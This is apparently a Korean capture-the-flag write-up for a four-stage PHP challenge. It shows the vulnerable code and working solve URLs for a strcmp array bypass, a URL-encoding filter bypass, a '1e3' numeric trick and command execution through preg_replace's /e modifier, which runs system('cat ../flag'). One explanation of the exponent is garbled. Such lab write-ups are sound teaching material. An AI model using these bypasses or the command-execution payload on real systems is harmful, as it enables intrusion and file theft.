PHP-HARD★★★★★★

Very Hard Challenge
link
hint

Stage 1

<?php
  $stage === 1 or die("nope");
   if(isset($_GET['pass']) &&
      !strcmp($_GET['pass'], $secret))
      $stage = 2;
?>

strcmp로 비교할 때, array가 인자로 들어가면 0이 나오는것을 이용한다.

Stage 1 Solve URL : http://remote.goatskin.xyz:1131/index.php?pass[]=test

Stage 2

<?php
   $stage === 2 or die("nope");

   if(isset($_GET['pass']) &&
      !preg_match("/the/i", $_SERVER['QUERY_STRING']) &&
      $_GET['pass'] === 'the password')
      $stage = 3;
?>

$_SERVER['QUERY_STRING']은 url decode가 안되어있다.

Stage 2 Solve URL : http://remote.goatskin.xyz:1131/index.php?pass=th%65%20password

Stage 3

<?php
   $stage === 3 or die("nope");

   if(isset($_GET['pass']) &&
      is_numeric($_GET['pass']) &&
      strlen($_GET['pass']) < 4 &&
      $_GET['pass'] > 999)
      $stage = 4;
?>

4글자 미만으로 넣으면서 999보다 큰 숫자를 입력하라는 문제이다.

지수를 이용해주면 되는데 1e3 을 입력해 주게 되면 이것은 1 * 10^31000을 나타내게 된다.

Stage 3 Solve URL : http://remote.goatskin.xyz:1131/index.php?pass=1e3

Stage 4

<?php
   $stage === 4 or die("nope");

   if(isset($_GET['pass1']) && isset($_GET['pass2']))
      echo preg_replace($_GET['pass1'], $_GET['pass2'], '-');
?>

다른 문제에 비해서 preg_replace만 있고 목표가 보이지 않는 문제입니다.

하지만 preg_replace를 조사해보면

/e 변경자를 사용해서 PHP코드를 실행 시킬 수 있다고 합니다.!

그렇다면 preg_replace("/-/e", "system('ls')", "-"); 이렇게 보내주게 되면 ls명령어가 실행 되겠네요!

\

Stage 4 Solve URL : http://remote.goatskin.xyz:1131/index.php?pass1=/-/e&pass2=system(%27cat%20../flag%27)

Flag : Grand trash to be hacked...

results matching ""

    No results matching ""